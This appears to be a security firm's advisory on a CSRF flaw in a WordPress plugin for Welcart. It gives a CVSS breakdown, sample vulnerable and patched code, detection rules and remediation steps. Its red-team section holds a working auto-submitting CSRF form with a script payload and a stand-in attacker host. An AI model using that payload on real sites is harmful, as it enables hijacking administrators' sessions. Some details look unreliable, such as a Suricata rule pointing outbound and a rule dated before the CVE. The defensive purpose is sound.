CVE-2024-10726

Executive Summary

CVE-2024-10726 is a Cross-Site Request Forgery (CSRF) vulnerability in the Friendly Functions for Welcart WordPress plugin, affecting all versions up to and including 1.2.4. The vulnerability exists due to missing nonce validation on the settings update functionality, allowing an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator, can inject malicious web scripts. This can lead to unauthorized settings changes or stored XSS attacks. The CVSS score is 6.1 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin file (friendly-functions-for-welcart.php) and ensure no unauthorized modifications have been made. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must click a link)
• Scope: Unchanged
• Confidentiality Impact: Low (potential script injection)
• Integrity Impact: Low (settings modification)
• Availability Impact: None

Deep Dive & Mechanics

The vulnerability resides in the friendly-functions-for-welcart plugin's settings page. The plugin fails to include a nonce (number used once) in the settings update form, making it susceptible to CSRF attacks. An attacker can craft a malicious HTML page or email that, when visited by an authenticated WordPress administrator, submits a forged POST request to the plugin's settings endpoint. This can modify plugin options or inject JavaScript payloads that execute in the admin's browser context.

The attack flow:

1. Attacker crafts a malicious link or form.
2. Admin clicks the link while logged into WordPress.
3. The forged request updates plugin settings without the admin's knowledge.
4. Injected scripts can then steal session cookies, redirect users, or perform other malicious actions.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 1.2.4):

// In settings page handler
function friendly_functions_update_settings() {
    if (isset($_POST['submit'])) {
        update_option('friendly_functions_option', $_POST['option_value']);
        // Missing nonce check
    }
}

Patched Code (hypothetical fix):

function friendly_functions_update_settings() {
    if (isset($_POST['submit']) && wp_verify_nonce($_POST['_wpnonce'], 'friendly_functions_settings')) {
        update_option('friendly_functions_option', sanitize_text_field($_POST['option_value']));
    } else {
        wp_die('Security check failed.');
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Step 1: Craft a CSRF payload Create an HTML file (csrf.html) that auto-submits a form to the vulnerable endpoint:

<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php?action=friendly_functions_update" method="POST">
    <input type="hidden" name="option_value" value="<script>alert('XSS')</script>">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

Step 2: Host the file and send the link to the admin Use a simple HTTP server:

python3 -m http.server 8080

Send the link: http://attacker.com/csrf.html

Step 3: Verify injection After the admin clicks, check if the script executes in the admin panel.

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor for unexpected POST requests to /wp-admin/admin-post.php?action=friendly_functions_update.
2. Check for missing _wpnonce parameter in such requests.
3. Review plugin settings for unauthorized changes.

Mitigation:

• Apply a virtual patch via WAF to block requests without a valid nonce.
• Restrict admin access to trusted IPs.
• Use Content Security Policy (CSP) headers to prevent script injection.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-post.php?action=friendly_functions_update without a _wpnonce parameter.
• File: Modified friendly-functions-for-welcart.php or plugin options in the database.
• Log: WordPress debug log entries showing unexpected settings changes.
• Behavior: Admin accounts performing actions without user interaction.

Detection Engineering

YARA Rule

rule CVE_2024_10726_CSRF {
    meta:
        description = "Detects CSRF exploitation attempts against Friendly Functions for Welcart plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-10726"
    strings:
        $action = "action=friendly_functions_update"
        $option = "option_value="
        $script = /<script[^>]*>/
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-10726 CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects CSRF attempts against Friendly Functions for Welcart plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-post.php'
        cs-uri-query|contains: 'action=friendly_functions_update'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-10726 CSRF Exploitation Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-post.php";
    http_uri;
    content:"action=friendly_functions_update";
    http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2024-10726;
)

Remediation & Mitigation

1. Immediate: Disable the plugin until a patch is available.
2. Short-term: Implement a Web Application Firewall (WAF) rule to block requests to admin-post.php without a valid nonce.
3. Long-term: Update the plugin to a patched version once released. The vendor should add wp_nonce_field() and check_admin_referer() to the settings form.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
Securing Digital Frontiers